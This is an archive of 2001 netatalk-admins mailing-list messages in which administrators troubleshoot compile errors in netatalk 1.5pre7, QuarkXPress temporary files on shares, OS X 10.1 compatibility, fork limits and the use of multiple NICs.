MIME-Version: 1.0
To: Simon Bazley <sibaz@sibaz.com>
CC: Steve Freitas <sflist@ihonk.com>,
        netatalk-admins <netatalk-admins@umich.edu>,
        Netatalk-devel <netatalk-devel@lists.sourceforge.net>
Subject: Re: [Netatalk-devel] HELP: Request for Information!
References: <B7CC5368.7A9B%sflist@ihonk.com> <3BA72578.A92B3224@sibaz.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Simon Bazley wrote:
> 
> wasn't there an old post about this showing a site that had tracked the problem down to quark creating temporary files.
> 
> It was something like, if you click on a quark document that is on a mounted share, then quark will create the temporary file at that location (on the server), wheras if you go file open, then find the same file in the open dialog, the temprary file is
> created on a local file system.
> 
> The issue was down to quarks use of its temporary file (which is basically a dump of the quark file in a dodgy order).  Quark uses a naughty bit of code that was in early macs file system, that was to do with opening a file, but not closing it, so you
> still stored data, but didn't create a file (or something like that).  Anyway, Apple say its not something people 


Could it be the old (also used on *nix) trick:
create/open file, delete (unlink) it, but don't close it.
Read/write from file, and when closed, file magically goes away?

That might work strangely in a network environment I imagine.

/Magnus



should use, and most afpd's don't support it (and rightly so), but quark
insists on keeping it, as it works locally, and on mac servers.
> 
> Or are you talking about soemthing completely different.
> 
> Simon

From netatalk.administrators-errors@umich.edu  Tue Sep 18 18:39:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA13364
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 18 Sep 2001 18:39:57 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA17652
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 18 Sep 2001 18:39:57 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA17636
	for netatalk.administrators-members@umich.edu; Tue, 18 Sep 2001 18:39:57 -0400 (EDT)
Received: from editmy.he.net (editmy.he.net [216.218.244.242])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA17603
	for <netatalk-admins@umich.edu>; Tue, 18 Sep 2001 18:39:56 -0400 (EDT)
Received: from [10.0.0.2] (dhcp-314-48.click-network.com [131.191.28.197]) by editmy.he.net (8.8.6/8.8.2) with ESMTP id PAA08414; Tue, 18 Sep 2001 15:39:55 -0700
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Tue, 18 Sep 2001 15:39:20 -0700
Subject: Re: Sorry, the password you entered is incorrect
From: xris <xris@mac.com>
To: Ashok Aiyar <aiyar@ebv.mimnet.nwu.edu>, <netatalk-admins@umich.edu>
Message-ID: <B7CD1B27.AF6D%xris@mac.com>
In-Reply-To: <Pine.LNX.4.33.0109151114090.20340-400000@ebv.mimnet.nwu.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> The `configure` script was run with the following options:
> --with-shadow --with-config-dir=/usr/local/etc/atalk \
> --with-ssl-dir=/usr/local/ssl

Ok.  I'm using

./configure --with-shadow --without-pam --with-tcp-wrappers \
--enable-lastdid --disable-ddp --enable-afs \
--with-ssl-dir=/usr/local/ssl --with-config-dir=/etc/atalk

But it's similar enough.


> I am using OpenSSL 0.9.6b (not the OpenSSL distributed with
> Slackware 8).

Aha!  this is the trick...   Downloaded this new version, killed the one
that came with slackware, and not only did pre6 compile, but it also WORKED.

So now that this works, I try pre7 again (which used to compile, before I
reinstalled slackware to fix some other errors and expand my swap partition)

Now, with the config params mentioned above, which work fine for pre6, I get
the following compile errors.  Anyone have any suggestions?

> make  all-recursive
> make[1]: Entering directory `/usr/src/netatalk-1.5pre7'
> Making all in libatalk
> make[2]: Entering directory `/usr/src/netatalk-1.5pre7/libatalk'
> Making all in adouble
> make[3]: Entering directory `/usr/src/netatalk-1.5pre7/libatalk/adouble'
> /bin/sh ../../libtool --mode=compile gcc -DHAVE_CONFIG_H -I. -I. -I../..
> -g -O2 -I/usr/include -I../../include -I../../sys -I/usr/local/ssl/include
> -I/usr/local/ssl/include/openssl -c ad_open.c
> rm -f .libs/ad_open.lo
> gcc -DHAVE_CONFIG_H -I. -I. -I../.. -g -O2 -I/usr/include -I../../include
> -I../../sys -I/usr/local/ssl/include -I/usr/local/ssl/include/openssl -c
> ad_open.c  -fPIC -DPIC -o ad_open.o
> ad_open.c: In function `ad_header_read':
> ad_open.c:369: `ADEDLEN_MAGIC' undeclared (first use in this function)
> ad_open.c:369: (Each undeclared identifier is reported only once
> ad_open.c:369: for each function it appears in.)
> ad_open.c:407: `ADEDLEN_VERSION' undeclared (first use in this function)
> ad_open.c:408: `ADEDLEN_FILLER' undeclared (first use in this function)
> ad_open.c: In function `ad_open':
> ad_open.c:600: structure has no member named `ad_inited'
> ad_open.c:600: `AD_INITED' undeclared (first use in this function)
> ad_open.c:603: structure has no member named `adf_lockmax'
> ad_open.c:603: structure has no member named `adf_lockcount'
> ad_open.c:603: incompatible types in assignment
> ad_open.c:604: structure has no member named `adf_lockmax'
> ad_open.c:604: structure has no member named `adf_lockcount'
> ad_open.c:604: incompatible types in assignment
> ad_open.c:608: structure has no member named `ad_inited'
> ad_open.c:609: structure has no member named `ad_refcount'
> ad_open.c:621: structure has no member named `adf_refcount'
> ad_open.c:760: structure has no member named `adf_refcount'
> make[3]: *** [ad_open.lo] Error 1
> make[3]: Leaving directory `/usr/src/netatalk-1.5pre7/libatalk/adouble'
> make[2]: *** [all-recursive] Error 1
> make[2]: Leaving directory `/usr/src/netatalk-1.5pre7/libatalk'
> make[1]: *** [all-recursive] Error 1
> make[1]: Leaving directory `/usr/src/netatalk-1.5pre7'
> make: *** [all-recursive-am] Error 2


From netatalk.administrators-errors@umich.edu  Tue Sep 18 23:02:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA26412
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 18 Sep 2001 23:02:58 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id XAA14445
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 18 Sep 2001 23:02:58 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id XAA14439
	for netatalk.administrators-members@umich.edu; Tue, 18 Sep 2001 23:02:57 -0400 (EDT)
Received: from mmb.bme.wisc.edu (mmb.bme.wisc.edu [144.92.12.200])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id XAA14428
	for <netatalk-admins@umich.edu>; Tue, 18 Sep 2001 23:02:56 -0400 (EDT)
Received: from localhost (hzeringu@localhost)
	by mmb.bme.wisc.edu (8.9.3/8.9.3) with ESMTP id WAA23912
	for <netatalk-admins@umich.edu>; Tue, 18 Sep 2001 22:09:55 -0500
Date: Tue, 18 Sep 2001 22:09:55 -0500 (CDT)
From: Henry Gripp Zeringue <hzeringu@mmb.bme.wisc.edu>
To: <netatalk-admins@umich.edu>
Subject: netatalk and OSX 10.1 5G48
In-Reply-To: <Pine.LNX.4.33.0109061113400.743-100000@squirrel.bio.brandeis.edu>
Message-ID: <Pine.LNX.4.33.0109182202570.23821-100000@mmb.bme.wisc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


For what it's worth: I installed a prerelease of OSX 10.1 (the 5G48 build)
and it seems to work pretty well with netatalk. I could never get 10.0.4
to work, nor a previous build (5G27), but this one seems to copy file and
directory structures fine.

Server: RedHat 6.1 (i386)
	netatalk-1.4b2+asun2.1.3-7 (rpm I found off of rpmfind.net)

Client: Mac OSX 10.1 (5G48)

-gripp
-- 
---------------------------------------------
Henry 'Gripp' Zeringue	Home:	(608)260-8098
Biomedical Engineering	Mobile:	(608)239-2168
1410 Engineering Dr.	Office:	(608)262-8212
Madison, WI 53706-1608	Lab:	(608)262-3013
hzeringu@cae.wisc.edu	Fax:	(608)265-9239
---------------------------------------------



From netatalk.administrators-errors@umich.edu  Wed Sep 19 12:43:27 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA29164
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 19 Sep 2001 12:43:27 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA13637
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 19 Sep 2001 12:43:27 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA13614
	for netatalk.administrators-members@umich.edu; Wed, 19 Sep 2001 12:43:26 -0400 (EDT)
Received: from keam1 (keam1.vcc.bc.ca [142.30.247.21])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id MAA13587
	for <netatalk-admins@umich.edu>; Wed, 19 Sep 2001 12:43:25 -0400 (EDT)
Received: from VCC-Message_Server by keam1
	with Novell_GroupWise; Wed, 19 Sep 2001 09:43:18 -0700
Message-Id: <sba868b6.041@keam1>
X-Mailer: Novell GroupWise Internet Agent 5.5.4.1
Date: Wed, 19 Sep 2001 09:43:09 -0700
From: "Bryn Hughes" <bhughes@vcc.bc.ca>
To: <netatalk-admins@umich.edu>
Subject: Compile Problems with 1.5pre7
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id MAA29164

Hi all,

I'm having problems compiling 1.5pre7 under RH 6.2.  Haven't been able to find anything that seems to be relevant to this.  I got the 1.5pre7 source from SourceForge 2 days ago.

config options:
./configure --sysconfdir=/etc/atalk --with-db3=/usr/include/db3 --with-ssl-dir=/usr/include/openssl --with-shadow --with-tcp-wrappers --enable-redhat --enab
le-did=lastdid --enable-afs

results of make:

[root@gateway netatalk-1.5pre7]# make
make  all-recursive
make[1]: Entering directory `/home/sibh/netatalk-1.5pre7'
Making all in libatalk
make[2]: Entering directory `/home/sibh/netatalk-1.5pre7/libatalk'
Making all in adouble
make[3]: Entering directory `/home/sibh/netatalk-1.5pre7/libatalk/adouble'
make[3]: Nothing to be done for `all'.
make[3]: Leaving directory `/home/sibh/netatalk-1.5pre7/libatalk/adouble'
Making all in asp
make[3]: Entering directory `/home/sibh/netatalk-1.5pre7/libatalk/asp'
make[3]: Nothing to be done for `all'.
make[3]: Leaving directory `/home/sibh/netatalk-1.5pre7/libatalk/asp'
Making all in atp
make[3]: Entering directory `/home/sibh/netatalk-1.5pre7/libatalk/atp'
make[3]: Nothing to be done for `all'.
make[3]: Leaving directory `/home/sibh/netatalk-1.5pre7/libatalk/atp'
Making all in compat
make[3]: Entering directory `/home/sibh/netatalk-1.5pre7/libatalk/compat'
make[3]: Nothing to be done for `all'.
make[3]: Leaving directory `/home/sibh/netatalk-1.5pre7/libatalk/compat'
Making all in cnid
make[3]: Entering directory `/home/sibh/netatalk-1.5pre7/libatalk/cnid'
/bin/sh ../../libtool --mode=compile gcc -DHAVE_CONFIG_H -I. -I. -I../..     -g -O2 -I/usr/include -I../../include -I../../sys -I/usr/include -I/usr/include/openssl -c cnid_add.c
rm -f .libs/cnid_add.lo
gcc -DHAVE_CONFIG_H -I. -I. -I../.. -g -O2 -I/usr/include -I../../include -I../../sys -I/usr/include -I/usr/include/openssl -c cnid_add.c  -fPIC -DPIC -o cnid_add.o
cnid_add.c: In function `add_cnid':
cnid_add.c:49: warning: passing arg 1 of `txn_begin' from incompatible pointer type
cnid_add.c:49: too many arguments to function `txn_begin'
cnid_add.c:89: too many arguments to function `txn_commit'
cnid_add.c: In function `cnid_add':
cnid_add.c:162: warning: passing arg 1 of `txn_begin' from incompatible pointer type
cnid_add.c:162: too many arguments to function `txn_begin'
cnid_add.c:227: too many arguments to function `txn_commit'
make[3]: *** [cnid_add.lo] Error 1
make[3]: Leaving directory `/home/sibh/netatalk-1.5pre7/libatalk/cnid'
make[2]: *** [all-recursive] Error 1
make[2]: Leaving directory `/home/sibh/netatalk-1.5pre7/libatalk'
make[1]: *** [all-recursive] Error 1
make[1]: Leaving directory `/home/sibh/netatalk-1.5pre7'
make: *** [all-recursive-am] Error 2
[root@gateway netatalk-1.5pre7]#

----------------------------------------------
Bryn Hughes
Macintosh/Linux Support
Information and Computing Services
Vancouver Community College

email:bhughes@vcc.bc.ca
ph: (604) 443-8702
Urgent: (604) 871-7007

From netatalk.administrators-errors@umich.edu  Wed Sep 19 13:49:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA02183
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 19 Sep 2001 13:49:46 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA28320
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 19 Sep 2001 13:49:45 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA28275
	for netatalk.administrators-members@umich.edu; Wed, 19 Sep 2001 13:49:44 -0400 (EDT)
Received: from keam1 (keam1.vcc.bc.ca [142.30.247.21])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id NAA28236
	for <netatalk-admins@umich.edu>; Wed, 19 Sep 2001 13:49:41 -0400 (EDT)
Received: from VCC-Message_Server by keam1
	with Novell_GroupWise; Wed, 19 Sep 2001 10:49:16 -0700
Message-Id: <sba8782c.044@keam1>
X-Mailer: Novell GroupWise Internet Agent 5.5.4.1
Date: Wed, 19 Sep 2001 10:48:56 -0700
From: "Bryn Hughes" <bhughes@vcc.bc.ca>
To: <netatalk-admins@umich.edu>
Subject: Multiple NICS under netatalk
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id NAA02183

I have a machine running netatalk with 2 ethernet cards.  Each of them is connected to a different subnet on our system, but both of them are really the same number of hops away from most of the computers that use the server.  I've noticed that connections over TCP/IP seem to go to either NIC.  This IS what I want, but I was wondering how netatalk decides which NIC to use.  Only one of them has Appletalk enabled on it, and it seems that half the time I'm connecting to that one and half the time I'm connecting to the other one.  Is there some sort of load balancing going on?

Bryn

From netatalk.administrators-errors@umich.edu  Wed Sep 19 13:50:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA02233
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 19 Sep 2001 13:50:08 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA19252
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 19 Sep 2001 13:50:08 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA19224
	for netatalk.administrators-members@umich.edu; Wed, 19 Sep 2001 13:50:07 -0400 (EDT)
Received: from gnu.in-berlin.de (gnu.in-berlin.de [192.109.42.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA19155
	for <netatalk-admins@umich.edu>; Wed, 19 Sep 2001 13:50:05 -0400 (EDT)
Received: from hirsch.in-berlin.de (root@hirsch.colt.in-berlin.de [213.61.118.6])
	by gnu.in-berlin.de (8.10.1/8.10.1) with ESMTP id f8JHo4G08884
	for <netatalk-admins@umich.edu>; Wed, 19 Sep 2001 19:50:04 +0200 (CEST)
	(envelope-from srittau@jroger.in-berlin.de)
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.11.1/8.11.1/Debian 8.11.0-6) with UUCP id f8JHo4i10061
	for netatalk-admins@umich.edu; Wed, 19 Sep 2001 19:50:04 +0200
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: netatalk-admins@umich.edu
Received: from srittau by jroger.in-berlin.de with local (Exim 3.31 #1 (Debian))
	id 15jlJF-0000WU-00
	for <netatalk-admins@umich.edu>; Wed, 19 Sep 2001 19:38:53 +0200
Date: Wed, 19 Sep 2001 19:38:53 +0200
To: netatalk-admins@umich.edu
Subject: Re: Compile Problems with 1.5pre7
Message-ID: <20010919193853.C1845@jroger.in-berlin.de>
Mail-Followup-To: netatalk-admins@umich.edu
References: <sba868b6.041@keam1>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <sba868b6.041@keam1>
User-Agent: Mutt/1.3.20i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

On Wed, Sep 19, 2001 at 09:43:09AM -0700, Bryn Hughes wrote:

> I'm having problems compiling 1.5pre7 under RH 6.2.  Haven't been able to find anything that seems to be relevant to this.  I got the 1.5pre7 source from SourceForge 2 days ago.

[...]

> gcc -DHAVE_CONFIG_H -I. -I. -I../.. -g -O2 -I/usr/include -I../../include -I../../sys -I/usr/include -I/usr/include/openssl -c cnid_add.c  -fPIC -DPIC -o cnid_add.o
> cnid_add.c: In function `add_cnid':
> cnid_add.c:49: warning: passing arg 1 of `txn_begin' from incompatible pointer type
[...]

It seems that your libdb3 version is too old. configure should check for
that but currently doesn't.

 - Sebastian


From netatalk.administrators-errors@umich.edu  Wed Sep 19 14:10:53 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA03051
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 19 Sep 2001 14:10:53 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA25113
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 19 Sep 2001 14:10:52 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA25103
	for netatalk.administrators-members@umich.edu; Wed, 19 Sep 2001 14:10:52 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA25047
	for <netatalk-admins@umich.edu>; Wed, 19 Sep 2001 14:10:50 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id UAA12336
	for <netatalk-admins@umich.edu>; Wed, 19 Sep 2001 20:09:19 +0200
Message-ID: <3BA8DF51.CE28B360@euc.de>
Date: Wed, 19 Sep 2001 20:09:22 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: number of concurrent open files
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Howdy,

netatalk 1.5.6 under suse 7.something gives me that warning
afpd[23371]: of_alloc: maximum number of forks exceeded
causing the client to report error -42
This happens when printing from Xpress which opens a lot of files and images.

Does anyone has a idea where to increase that parameter?
Or is that the 'afpd -c' paramter (max clients)?

best regards

-- 



____________________________________________________________

Mac Conin                        Taubengasse 9
EUC Online Service GmbH          D 50676 Koeln
                                 tel : +49-221-923 27 33
http://www.euc.de                fax : +49-221-239 651

From netatalk.administrators-errors@umich.edu  Wed Sep 19 14:29:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA04282
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 19 Sep 2001 14:29:12 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA27567
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 19 Sep 2001 14:29:12 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA27552
	for netatalk.administrators-members@umich.edu; Wed, 19 Sep 2001 14:29:11 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA27506
	for <netatalk-admins@umich.edu>; Wed, 19 Sep 2001 14:29:10 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id UAA12418
	for <netatalk-admins@umich.edu>; Wed, 19 Sep 2001 20:27:39 +0200
Message-ID: <3BA8E39D.785706AD@euc.de>
Date: Wed, 19 Sep 2001 20:27:42 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: Re: number of concurrent open files
References: <3BA8DF51.CE28B360@euc.de>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id OAA04282

Me again...

set the clients number to 3.000 (hrmpf) and it works. Or is that only
because I've to restart afpd?

Mac Conin wrote:
> 
> Howdy,
> 
> netatalk 1.5.6 under suse 7.something gives me that warning
> afpd[23371]: of_alloc: maximum number of forks exceeded
> causing the client to report error -42
> This happens when printing from Xpress which opens a lot of files and images.
> 
> Does anyone has a idea where to increase that parameter?
> Or is that the 'afpd -c' paramter (max clients)?
> 
> best regards
> 
> --
> 
> ____________________________________________________________
> 
> Mac Conin                        Taubengasse 9
> EUC Online Service GmbH          D 50676 Koeln
>                                  tel : +49-221-923 27 33
> http://www.euc.de                fax : +49-221-239 651

-- 


mit freundlichen grüssen

____________________________________________________________

Mac Conin                        Taubengasse 9
EUC Online Service GmbH          D 50676 Koeln
                                 tel : +49-221-923 27 33
http://www.euc.de                fax : +49-221-239 651

From netatalk.administrators-errors@umich.edu  Wed Sep 19 15:03:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA05866
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 19 Sep 2001 15:03:01 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA13464
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 19 Sep 2001 15:03:00 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA13449
	for netatalk.administrators-members@umich.edu; Wed, 19 Sep 2001 15:02:59 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA13389
	for <netatalk-admins@umich.edu>; Wed, 19 Sep 2001 15:02:57 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id VAA12598
	for <netatalk-admins@umich.edu>; Wed, 19 Sep 2001 21:01:26 +0200
Message-ID: <3BA8EB88.60BD1F32@euc.de>
Date: Wed, 19 Sep 2001 21:01:28 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: Re: number of concurrent open files
References: <3BA8DF51.CE28B360@euc.de> <3BA8E39D.785706AD@euc.de>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id PAA05866

Hmm, me again

that was not the point. I' started to move the files to the client to
print from a local directory. grrr



Mac Conin wrote:
> 
> Me again...
> 
> set the clients number to 3.000 (hrmpf) and it works. Or is that only
> because I've to restart afpd?
> 
> Mac Conin wrote:
> >
> > Howdy,
> >
> > netatalk 1.5.6 under suse 7.something gives me that warning
> > afpd[23371]: of_alloc: maximum number of forks exceeded
> > causing the client to report error -42
> > This happens when printing from Xpress which opens a lot of files and images.
> >
> > Does anyone has a idea where to increase that parameter?
> > Or is that the 'afpd -c' paramter (max clients)?
> >
> > best regards
> >
> > --
> >
> > ____________________________________________________________
> >
> > Mac Conin                        Taubengasse 9
> > EUC Online Service GmbH          D 50676 Koeln
> >                                  tel : +49-221-923 27 33
> > http://www.euc.de                fax : +49-221-239 651
> 
> --
> 
> mit freundlichen grüssen
> 
> ____________________________________________________________
> 
> Mac Conin                        Taubengasse 9
> EUC Online Service GmbH          D 50676 Koeln
>                                  tel : +49-221-923 27 33
> http://www.euc.de                fax : +49-221-239 651

-- 


mit freundlichen grüssen

____________________________________________________________

Mac Conin                        Taubengasse 9
EUC Online Service GmbH          D 50676 Koeln
                                 tel : +49-221-923 27 33
http://www.euc.de                fax : +49-221-239 651

From netatalk.administrators-errors@umich.edu  Wed Sep 19 16:57:50 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA12863
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 19 Sep 2001 16:57:49 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA02218
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 19 Sep 2001 16:57:49 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA02191
	for netatalk.administrators-members@umich.edu; Wed, 19 Sep 2001 16:57:49 -0400 (EDT)
Received: from mail.cmp-weka.de (poing.dmv-franzis.de [194.122.1.193])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id QAA02132
	for <netatalk-admins@umich.edu>; Wed, 19 Sep 2001 16:57:47 -0400 (EDT)
Received: from SMTP01 by mail.cmp-weka.de
          via smtpd (for easycomeeasygo.mr.itd.umich.edu [141.211.14.26]) with SMTP; 19 Sep 2001 20:58:33 UT
Received: from [172.29.11.2] [172.29.11.2]
	by mail.cmp-weka.de [172.29.1.6]
	with SMTP (MDaemon.PRO.v4.0.5.R)
	for <netatalk-admins@umich.edu>; Wed, 19 Sep 2001 23:01:27 +0200
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Wed, 19 Sep 2001 22:53:33 +0200
Subject: Re: Multiple NICS under netatalk
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B7CED26C.2AC22%ts@visual-s.de>
In-Reply-To: <sba8782c.044@keam1>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
X-MDRemoteIP: 172.29.11.2
X-Return-Path: ts@visual-s.de
X-MDaemon-Deliver-To: netatalk-admins@umich.edu

I believe it's a bug -- the card which catches a connection first
is used. For a single connection from a Mac, incoming packets
may be handled by ether0, outgoing by ether1.

That may cause trouble, for me connections to my Netatalk box
(Netatalk not configured to use a single NIC, no AppleTalk routing)
have been unstable, especially with multiple simultaneous copies,
until I physically separated both subnets.

NICs in use: SMC EtherPower II, and on old Realtec 8019 (NE2000 mode).
Each NIC running perfectly stable.

-Thomas

On 2001-09-19 19:48 +0200, "Bryn Hughes"<bhughes@vcc.bc.ca> wrote:

> I have a machine running netatalk with 2 ethernet cards.  Each of them is
> connected to a different subnet on our system, but both of them are really the
> same number of hops away from most of the computers that use the server.  I've
> noticed that connections over TCP/IP seem to go to either NIC.  This IS what I
> want, but I was wondering how netatalk decides which NIC to use.  Only one of
> them has Appletalk enabled on it, and it seems that half the time I'm
> connecting to that one and half the time I'm connecting to the other one.  Is
> there some sort of load balancing going on?

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers



From netatalk.administrators-errors@umich.edu  Wed Sep 19 18:44:54 2001
